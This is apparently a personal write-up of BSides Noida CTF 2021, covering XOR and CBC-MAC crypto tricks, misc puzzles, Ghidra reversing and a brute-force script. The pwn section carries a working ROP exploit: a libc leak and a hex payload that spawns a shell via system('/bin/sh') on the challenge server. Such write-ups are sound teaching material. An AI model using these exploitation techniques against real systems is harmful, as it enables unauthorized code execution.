日本語版: BSides Noida CTF 2021 writeup - Qiita
About
I participated in BSides Noida CTF 2021 (August 7, 2021 19:30 - August 8, 2021 19:30 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 3748 points and ranked 21th among 411 teams that earned positive score.
Here is a list of challenges I solved:
Challenge | Category | Value | Time (JST) |
---|---|---|---|
Baby Web | Web | 420 | 2021/08/07 23:18:10 |
Xoro | Crypto | 388 | 2021/08/07 23:37:15 |
MACAW | Crypto | 445 | 2021/08/07 23:58:05 |
Psst | Misc | 159 | 2021/08/08 00:23:49 |
Welcome | Misc | 50 | 2021/08/08 00:48:38 |
Sanity | Reverse | 437 | 2021/08/08 01:56:19 |
My Artwork | Misc | 287 | 2021/08/08 06:53:39 |
Rev-Weird Interpreter | Reverse | 494 | 2021/08/08 09:53:12 |
Pwn-Weird Interpreter | Pwn | 495 | 2021/08/08 14:22:15 |
Macaw_Revenge | Crypto | 473 | 2021/08/08 15:23:01 |
Farewell | Misc | 50 | 2021/08/08 16:32:15 |
FeedBack Form | Misc | 50 | 2021/08/08 18:17:59 |
Challenges I solved
Crypto
Xoro
Information to connect to a TCP server and a server program xoro.py
were given.
What xoro.py
does was:
- Generate a 32-byte random key
- Accept an input
- Calculate exclusive-or of "the input with
FLAG
concatenated at the end" and "the key, repeated" and output the result
Sending 32-byte 0x00 will have it print the key as the first 32 bytes like this:
===== WELCOME TO OUR ENCRYPTION SERVICE =====
[plaintext (hex)]> 0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)
Using "XOR" with the first 32 bytes as the key with referring the example "Perform AES decryption, extracting the IV from the beginning of the cipher stream" on the description of CyberChef, it resulted in this Output:
BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|
I obtained the flag by removing the extra part.
BSNoida{how_can_you_break_THE_XOR_?!?!}
MACAW
Information to connect to a TCP server and a server program MACAW.py
were given.
What MACAW.py
does was:
- Output
secret_msg
. - Have the user select one of following process and do what is selected, at most 3 times.
- Accept an input that is not
secret_msg
, encrypt that viaAES.MODE_CBC
withkey
andiv
, and output the last block andiv
. - Accept an input and output
FLAG
if the input is equal tosecret_tag
.
- Accept an input that is not
I couldn't find the characteristics of iv, key, secret_msg, secret_tag
from the program,
but I guessed that iv
and key
are fixed, and that secret_tag
is the last block of the ciphertext for secret_msg
.
In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
(Block cipher mode of operation - Wikipedia)
In this case, the IV seems fixed, so the IV to use can be virtually specified by applying exclusive-or with "exclusive-or of the IV actually used and the IV (or previous ciphertext block) to use" to the plaintext block.
This enables it to encrypt a message with dividing to several parts.
I encrypted secret_msg
in this way:
plaintext block | plaintext block XOR previous ciphertext block XOR IV | ciphertext block |
---|---|---|
(IV) | 4aa8d73c2f644a6cecf9cf1af82ebbe9 |
|
57656c636f6d6520746f204253696465 |
57656c636f6d6520746f204253696465 |
8992b52f29709147a0aa1e084a3bfe19 |
734e6f696461212120466f6c6c6f7720 |
b0740d7a6275fa0a6c15be7ede7a32d0 |
f25d4a2c1c95c62576b48019d63e4f00 |
7573206f6e20547769747465722e2e2e |
cd86bd7f5dd1d83ef3393b665c3edac7 |
eae429a7fdc8b0d6161d02b9cce52ba9 |
I obtained the flag using the final resulteae429a7fdc8b0d6161d02b9cce52ba9
.
BSNoida{M4c4w5_4r3_4d0r4b13}
Macaw_Revenge
Information to connect to a TCP server and a server program macaw_revenge.py
were given.
What macaw_revenge.py
does was:
- Randomly choose
iv
(16 bytes),key
(16 bytes), andsecret_msg
(48 bytes). - Set
secret_tag
to the last block ofsecret_msg
encrypted viaAES.MOCE_CBC
withkey
andiv
. - Output
secret_msg
- Have the user select one of following process and do what is selected, at most 3 times.
- Accept an input that is not
secret_msg
, encrypt that viaAES.MODE_CBC
withkey
andiv
, and output the last block andiv
. - Accept an input and output
FLAG
if the input is equal tosecret_tag
.
- Accept an input that is not
In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
(Block cipher mode of operation - Wikipedia)
Therefore, when IV is fixed, a plaintext block can be encrypted as if it is placed after an ciphertext block by encrypting the plaintext block with exclusive-ored with the IV and the ciphertext block because doing so will make the IV canceled by being exclusive-ored twice.
Using this feature, I obtained the flag in this way:
- Encrypt
secret_msg
except for the last block. - Encrypt exclusive-or of the output (ciphertext block) of 1,
iv
, and the last block ofsecret_msg
. - Enter the output (ciphertext block) of 2, which should be
secret_tag
.
BSNoida{M4c4w5_4r3_pr3tty_l0ud}
Misc
Welcome
This challenge description was given:
Welcome To BSides Noida CTF. Good Luck and Have fun :) Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}
The flag was the part after flag :
in this challenge description.
BSNoida{W3lc0me_To_BSidesNoida_CTF}
FeedBack Form
An link to a page of Google Forms was given.
What is linked is a single-page questionnaire. It showed the flag after I submit my answer.
BSidesNOIDA{s33_y0u_n3xt_t1m3}
Farewell
A link to a web page on which we can play a jigsaw puzzle was given.
Solving the puzzle, an image that looks related to anime with red strings appeared.
The strings on the image were like this:
Correcting the strings resulted in this, but this was not the flag:
BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}
I obtained the flag by adding two _
to this string.
BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}
Psst
A file psst.tar.gz
was given.
Decompressing via 7-Zip yielded a file psst.tar
.
Trying to extract psst.tar
via 7-Zip resulted in an error that the path is too long.
Applying the strings
command to psst.tar
, there were paths that ends with readme_(number).txt
in the latter part.
Also searching for {
that should be in the flag from psst.tar
via a binary editor,
I found this character alone with newline (0x0A), surrounded by 0x00.
Seeing this, I extracted single-character data in psst.tar
via this command:
strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt
(-x
for grep
is an option that means "match the whole line with the regexp")
I obtained the flag by removing the newline characters and applying "Reverse" via CyberChef to the result.
BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}
My Artwork
A text file art.TURTLE
was given.
This file had 28 lines that begins with REPEAT
.
I googled "TURTLE interpreter" and found this:
Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor
One character was drawn when I copy-and-pasted one line with REPEAT
and hit the "Animate" button.
I copy-and-pasted the 28 lines one-by-one and corrected the characters drawn. The result was:
CODE_IS_BEAUTY_BEAUTY_ISCODE
I obtained the flag by wrapping this string with BSNoida{}
and adding a _
.
BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}
Pwn
Pwn-Weird Interpreter
Information to connect to a TCP server and a file Weird_Interpreter.zip
were given.
These are the same as what are given in the challenge Rev-Weird Interpreter.
The function to execute the program and its characteristics (data placement on the stack, etc.) is known from the process to solve the challenge.
The code to print the message in the function FUN_00102a45
is:
00102ac2 48 8d 35 LEA RSI,[s_Enter_ur_Code_:_001030a1] = "Enter ur Code : "
d8 05 00 00
00102ac9 48 8d 3d LEA RDI,[std::cout] =
b0 26 00 00
try { // try from 00102ad0 to 00102b0b has its CatchHandler @
LAB_00102ad0 XREF[1]: 001033dc(*)
00102ad0 e8 2b f6 CALL <EXTERNAL>::std::operator<< basic_ostream * operator<<(basic
ff ff
Therefore, it should be able to print arbitrary data by putting an address of data to print to RSI
and jump to 0x2c9.
ROP (Return-Oriented Programming) with the gadget pop rsi; pop r15; ret
on 0x29f1 should be useful to set RSI
.
I created this program to prepare multiple values at once for ROP.
num_gen_multi.pl
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) {
die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}
my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
push(@targets, int($ARGV[$i]));
}
print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
my $proceed = 0;
for (my $i = 0; $i < @targets; $i++) {
my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
$targets[$i] >>= 1;
if ($targets[$i] > 0) { $proceed = 1; }
}
if ($proceed) {
print "a333";
} else {
last;
}
}
Setting the stack from the return address like this will have it print the address of the function setvbuf
on 0x5018.
("difference" here is the difference from the return address)
0x29f1 (difference: 0x11b)
0x5018 (difference: 0x250c)
something
0x2ac9 (difference: 0x43)
Also, when I tried the program on CS50 IDE with GDB, I found that the entered program is stored just after the return address and it was destroyed by writing to the stack right after starting execution.
To overcome this, I added meaningless instructions to the beginning of the program to allocate some space for data for ROP.
Following program has this structure and have it output the address of the function setvbuf
:
- Space for data for ROP
- Copy the upper 6 bytes of the return address
- Prepare values to add or subtract to the return address
- Arithmetics with the prepared values and the return address
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82 |a.0.a.0.a.0.a.0.|
00000030 61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34 |a.0.a.0.a011a334|
00000040 61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33 |a003a223a333a003|
00000050 61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33 |a223a333a113a333|
00000060 61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33 |a003a113a333a003|
00000070 61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33 |a333a333a223a333|
00000080 61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33 |a333a003a113a333|
00000090 61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33 |a333a113a333a333|
000000a0 61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32 |a333a113s333s..2|
000000b0 61 84 80 31 73 80 80 30 0a |a..1s..0.|
This program will have it output the address of the __libc_start_main
function on 0x4fe0 in the same way:
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82 |a.0.a.0.a.0.a.0.|
00000030 61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34 |a.0.a.0.a011a334|
00000040 61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33 |a003a223a333a003|
00000050 61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33 |a223a333a113a333|
00000060 61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33 |a003a333a003a113|
00000070 61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33 |a333a333a113a223|
00000080 61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33 |a333a113a333a003|
00000090 61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33 |a333a333a113a333|
000000a0 61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33 |a333a333a113s333|
000000b0 73 8c 80 32 61 84 80 31 73 80 80 30 0a |s..2a..1s..0.|
I obtained the addresses of the functions by sending these programs via "Send File" on Tera Term and see what the server outputs via Wireshark.
As a result, the address of the function setvbuf
was 0x7f0bedeed630
and one of the function __libc_start_main
was 0x7f98159babc0
.
The addresses may be random except for the least three hexadecimal digits.
I put the addresses to libc-database one-by-one and libc6_2.32-0ubuntu3.1_amd64
was found as the only common result.
According to this site, __libc_start_main_ret
is0x28cb2
, str_bin_sh
is0x1ae41f
, and system
is 0x503c0
.
These information should be useful to execute system("/bin/sh")
and launch the shell.
Examining with GDB on CS50 IDE, I found that there is an address to return to __libc_start_main
on the stack, but the difference of RSP
and where it is placed depended on the length of the input.
To overcome this, I decided to use c
instruction that stops execution to add a padding to the input and use a fixed-length input.
With 512-byte input, the address was at RSP + 0x308
(RAM[0x17c]
).
This address corresponds to __libc_start_main_ret
, so we can create the addresses of str_bin_sh
and system
from this address.
The problem is that this system only allows 16-bit addition and subtraction and that it is hard to support carry from the least 16 bits.
I decided to rely on the lack because the probability to fail due to this carry is 1/2, supposing that the address is uniformly distributed.
As a conclusion, we can call system("/bin/sh")
via ROP by putting following data to the stack.
0x29f3 is a gadget pop rdi; ret
and 0x29f4 is a gadget ret
.
0x29f4 is added for adjusting the stack alignment.
0x29f3 (difference from the return address: 0x119)
str_bin_sh (difference from __libc_start_main_ret: 0x18576d)
0x29f4 (difference from the return address: 0x118)
system (difference from __libc_start_main_ret: 0x2770e)
This is the program to put this data:
payload-system.bin
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33 |a.0.a.0.a.0.a533|
00000030 61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33 |a633a334a553a333|
00000040 61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33 |a663a333a113a553|
00000050 61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33 |a663a333a003a113|
00000060 61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33 |a223a553a663a333|
00000070 61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33 |a003a113a223a333|
00000080 61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33 |a113a553a333a113|
00000090 61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33 |a553a333a333a003|
000000a0 61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33 |a113a553a663a333|
000000b0 61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33 |a553a663a333a553|
000000c0 61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33 |a663a333a333a553|
000000d0 61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33 |a663a333a663a333|
000000e0 61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30 |a553a663s333s..0|
000000f0 61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61 |a004s..0r01a.05a|
00000100 8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30 |.06a114r01a.02a0|
00000110 30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30 |04a.04a114r01a.0|
00000120 33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33 |3a.03a114r01a.03|
00000130 61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |a.03c0----------|
00000140 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000150 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000160 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000170 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000180 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000190 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001a0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001b0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001c0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001d0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001e0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001f0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000200 0a |.|
What this program does is:
- Allocate space for ROP data.
- Copy the upper 6 bytes of the return address.
- Prepare the values.
- Read and copy
__libc_start_main_ret
with addition. - Put values by subtracting values from the return address.
- Finish execution by the
c
instruction.
I succeeded to launch the shell via this program.
Executing ls
command revealed that there are files flag1.txt
and flag2.txt
.
I used cat
command to have it output the contents of the files.
flag1.txt
had the flag for the challenge Rev-Weird Interpreter and flag2.txt
had the flag for this challenge.
BSNoida{b3d51a88e2d57cb1a62816f9b8131430}
Reverse
Sanity
A file Sanity.zip
was given. An executable file Sanity.exe
was extracted from that.
Decompiling Sanity.exe
via Ghidra,
I found that the function FUN_004011b0
is called from the function entry
and the function FUN_0040153f
, which is called from the function FUN_004011b0
, is something like the main
function.
Decompilation results for this part
/* WARNING: Exceeded maximum restarts with more pending */
void entry(void)
{
__set_app_type(1);
FUN_004011b0();
__set_app_type(2);
FUN_004011b0();
/* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
/* WARNING: Treating indirect jump as call */
atexit();
return;
}
void FUN_004011b0(void)
{
code *pcVar1;
int *piVar2;
undefined4 *puVar3;
UINT uExitCode;
tls_callback_0(0,2,0);
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
FUN_00401a30();
FUN_00402240(DAT_00405a04);
FUN_00401690();
pcVar1 = _iob_exref;
if (DAT_00408020 != 0) {
DAT_00405a08 = DAT_00408020;
_setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
_setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
_setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
}
piVar2 = (int *)__p__fmode();
*piVar2 = DAT_00405a08;
FUN_00402040();
FUN_00401bc0();
puVar3 = (undefined4 *)__p__environ();
uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
_cexit();
/* WARNING: Subroutine does not return */
ExitProcess(uExitCode);
}
The function FUN_0040153f
is below.
It is checking each bytes of what is entered with outputting characters and calling Sleep(100);
.
Decompiled function `FUN_0040153f`
undefined4 FUN_0040153f(void)
{
FILE *_File;
char cVar1;
uint uVar2;
uint uVar3;
char *pcVar4;
int iVar5;
undefined4 local_129;
undefined4 local_125;
undefined local_121;
byte local_120 [264];
undefined *local_18;
local_18 = &stack0x00000004;
FUN_00401bc0();
local_129 = 0x65486548;
local_125 = 0x69696f42;
local_121 = 0;
printf("Enter Flag : ");
scanf("%256s",local_120);
uVar3 = 0;
do {
uVar2 = 0xffffffff;
pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
do {
if (uVar2 == 0) break;
uVar2 = uVar2 - 1;
cVar1 = *pcVar4;
pcVar4 = pcVar4 + 1;
} while (cVar1 != '\0');
if (~uVar2 - 1 <= uVar3) {
puts("\nCorrect");
return 0;
}
printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
fflush((FILE *)(_iob_exref + 0x20));
uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
*(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
puts("\nWrong");
return 0;
}
for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
Sleep(100);
_File = (FILE *)(_iob_exref + 0x20);
fputc(0x2e,_File);
fflush(_File);
}
uVar3 = uVar3 + 1;
} while( true );
}
Checking with entering the first few characters of what should be the flag,
I found that the more correct characters I enter, the more bytes are outputted.
Seeing this, firstly I modified the file to will the part to call Sleep(100);
with NOP.
In other words, I changed the 8 bytes from the 0x9b7-th byte to the 0x9be-th byte of the file Sanity.exe
(the following part) to 0x90 via a binary editor and saved as Sanity-pat-ched.exe
.
(putting patched
to the file name resulted in being asked to execute as an administrator for some reason, so I named the new file pat-ched
)
004015b7 e8 5c 27 CALL KERNEL32.DLL::Sleep void Sleep(DWORD dwMilliseconds)
00 00
004015bc 83 ec 04 SUB ESP,0x4
Also I created following program to search for each characters of the flag and executed that.
bruteforce.pl
#!/usr/bin/perl
use strict;
use warnings;
my $target = "Sanity-pat-ched.exe";
sub query {
my $q = $_[0];
open(PROC, "echo $q | $target |") or die "open failed: $!\n";
my $data = "";
while (<PROC>) { $data .= $_; }
close(PROC);
return length($data);
}
my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);
my $flag = "";
my $prev_len = &query($flag);
for (;;) {
my $found = 0;
for (my $i = 0; $i < $culen; $i++) {
my $c= substr($char_to_use, $i, 1);
my $flag_candidate = $flag . $c;
my $l = &query($flag_candidate);
if ($l > $prev_len) {
$flag .= $c;
print STDERR "$c\n";
$prev_len = $l;
if ($c eq "}") {
print "$flag\n";
exit;
}
$found = 1;
last;
}
}
unless ($found) {
print STDERR "NOT FOUND\n";
print "$flag\n";
exit;
}
}
As a result, I obtained the flag.
BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}
Rev-Weird Interpreter
Information to connect to a TCP server and a file Weird_Interpreter.zip
were given.
Decompressing Weird_Interpreter.zip
yieled a server program (a ELF file) Interpreter
.
Decompiling Interpreter
via Ghidra, I found it doing this:
- The function
entry
calls the function__libc_start_main
withFUN_00102a45
and more as the arguments. - The function
FUN_00102a45
prints a message, reads a program, and calls the functionFUN_00102750
. - The function
FUN_00102750
executes the program.
The function `FUN_00102a45`
/* WARNING: Could not reconcile some variable overlaps */
undefined4 FUN_00102a45(void)
{
long lVar1;
char *__src;
undefined4 uVar2;
long in_FS_OFFSET;
code *pcStack80;
char *local_48;
undefined8 local_40;
char local_38 [24];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
pcStack80 = (code *)0x102a78;
setvbuf(stdin,(char *)0x0,2,0);
pcStack80 = (code *)0x102a93;
setvbuf(stdout,(char *)0x0,2,0);
pcStack80 = (code *)0x102aae;
setvbuf(stderr,(char *)0x0,2,0);
local_48 = local_38;
local_40 = 0;
local_38[0] = '\0';
/* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
pcStack80 = (code *)0x102ad5;
std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
pcStack80 = (code *)0x102ae5;
std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
__src = local_48;
lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar2;
}
/* WARNING: Subroutine does not return */
*(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
__stack_chk_fail();
}
The function `FUN_00102750`
/* WARNING: Type propagation algorithm not settling */
undefined8 FUN_00102750(char *param_1)
{
bool bVar1;
byte bVar2;
size_t sVar3;
undefined8 uVar4;
int iVar5;
byte bVar6;
int iVar7;
byte bVar8;
byte bVar9;
long in_FS_OFFSET;
undefined8 local_a0;
undefined6 uStack150;
undefined8 uStack152;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined4 local_60;
undefined local_58 [16];
undefined local_48;
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
local_a0 = 0;
uStack152 = 0;
local_90 = 0;
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
sVar3 = strlen(param_1);
uStack152 = CONCAT62(uStack150,1);
bVar8 = 0;
bVar9 = 0;
bVar1 = true;
iVar5 = 0;
while (bVar1) {
bVar2 = param_1[iVar5] | 0x20;
iVar7 = iVar5 + 2;
bVar6 = param_1[iVar5 + 1] - 0x30;
if (bVar2 != 99) {
bVar9 = param_1[iVar7] - 0x30;
iVar7 = iVar5 + 3;
if (bVar2 != 0x77 && bVar2 != 0x72) {
bVar8 = param_1[iVar5 + 3] - 0x30;
iVar7 = iVar5 + 4;
}
if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
/* WARNING: Subroutine does not return */
exit(-1);
}
}
switch(bVar2) {
case 0x61:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
break;
default:
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
/* WARNING: Subroutine does not return */
exit(-1);
case 99:
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"\nChecking...\n",0xd);
for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
local_58[iVar5] =
(char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
;
}
local_48 = 0;
FUN_0010234f(local_58);
uVar4 = 1;
goto LAB_001029d6;
case 100:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
break;
case 0x6d:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
break;
case 0x72:
*(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(undefined2 *)
((long)&stack0xffffffffffffff68 +
(long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
break;
case 0x73:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
break;
case 0x77:
*(undefined2 *)
((long)&stack0xffffffffffffff68 +
(long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
*(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
}
if ((int)sVar3 <= iVar7) {
bVar1 = false;
}
DAT_001054f4 = DAT_001054f4 + 1;
iVar5 = iVar7;
if (0x54 < DAT_001054f4) {
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
bVar1 = false;
}
}
uVar4 = 0;
LAB_001029d6:
if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar4;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
From the function FUN_00102750
, I found that these instructions are available:
a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1 : Check 16 elements from RAM[v1] and stop execution
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2 : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2 : RAM[reg[v1]] = reg[v2]
where:
-
v1
,v2
, andv3
are 1 byte each and the values of the bytes are the values to specify plus 0x30. - Each elements of
reg
andRAM
are 16 bits. - When all of the values specified by
v1
,v2
, andv3
are 4 or greater, it yields an error and the execution is terminated. - The "check" of
c
instruction is done in the functionFUN_0010234f
.
The function `FUN_0010234f`
void FUN_0010234f(char *param_1)
{
long *plVar1;
int iVar2;
long lVar3;
long *plVar4;
undefined8 uVar5;
long in_FS_OFFSET;
char *local_248;
long local_240;
char local_238;
undefined7 uStack567;
long local_228 [9];
locale local_1e0 [48];
__basic_file<char> local_1b0 [136];
undefined8 local_128 [27];
undefined8 local_50;
undefined local_48;
undefined local_47;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
if (iVar2 == 0) {
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
std::ios_base::ios_base((ios_base *)local_128);
local_128[0] = 0x104c40;
local_50 = 0;
local_48 = 0;
local_47 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
*(undefined8 *)
((long)local_228 +
*(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
local_228[1] = 0;
/* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
std::basic_ios<char,std::char_traits<char>>::init
((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
local_228[0] = 0x104ce8;
local_128[0] = 0x104d10;
/* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
/* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
/* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
if (lVar3 == 0) {
